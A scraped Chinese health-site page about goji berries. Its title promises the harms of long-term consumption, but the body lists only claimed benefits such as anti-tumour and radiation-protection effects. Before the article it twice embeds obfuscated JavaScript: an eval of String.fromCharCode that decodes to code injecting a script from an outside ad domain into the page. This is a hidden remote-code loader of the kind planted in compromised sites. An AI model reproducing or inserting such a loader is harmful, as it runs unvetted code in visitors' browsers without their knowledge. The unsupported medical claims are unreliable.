var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 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120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); 长期吃枸杞子的危害 | 锦利国际养生网大众养生网 - 提供健康养生,中医保健知识,营养师问题和食谱 var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 51, 92, 120, 55, 50, 92, 120, 54, 51, 34, 93, 32, 61, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 91, 48, 93, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 91, 34, 92, 120, 55, 48, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 52, 69, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 69, 92, 120, 55, 51, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 55, 52, 92, 120, 52, 50, 92, 120, 54, 53, 92, 120, 54, 54, 92, 120, 54, 70, 92, 120, 55, 50, 92, 120, 54, 53, 34, 93, 40, 95, 48, 120, 52, 50, 116, 98, 99, 50, 44, 32, 95, 48, 120, 52, 50, 116, 98, 99, 51, 41, 10, 125, 59, 10, 118, 97, 114, 32, 116, 110, 100, 101, 109, 111, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 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长期吃枸杞子的危害



长期吃枸杞子的危害

枸杞是我们的生活中比较常见的一种营养品,也有很多人会选择用枸杞入药,因为枸杞的营养价值还是比较高的,不管是男性还是女性,都能够吃一些枸杞,用来补充气血,但是枸杞一般的吃法都是泡水喝,所以有很多人就会长期吃,那么长期吃枸杞都会有哪些危害呢?

抗衰老

免疫衰老与T细胞凋亡密切相关。枸杞多糖(LBP)可明显提高吞噬细胞的吞噬功能,提高T淋巴细胞的增殖能力。而枸杞子能较强的抑制过氧化脂质的生成,从而达到抗氧化作用,进而增强机体抗衰老作用。

抗肿瘤

枸杞多糖不仅是一种调节免疫反应的生物反应调节剂,而且可通过神经—内分泌—免疫调节网络发挥抗癌作用。

长期吃枸杞子的危害

抗辐射损伤

枸杞子有抗γ射线辐射、保护机体的作用。可作为辅助药配合放疗等抗肿瘤药,减轻放疗的毒副作用,提高疗效,保护机体的免疫功能。

调节血脂

枸杞子具有明显的降血脂功能,调节脂类代谢,对预防心血管疾病具有积极作用。

长期吃枸杞子的危害

提高视力

人体的视网膜光感受器是由视黄醇(维生素A)和视蛋白所构成,而枸杞中所含的β-胡萝卜素可生成人体所需的视黄醇,因此可提高视力、防止黄斑症。

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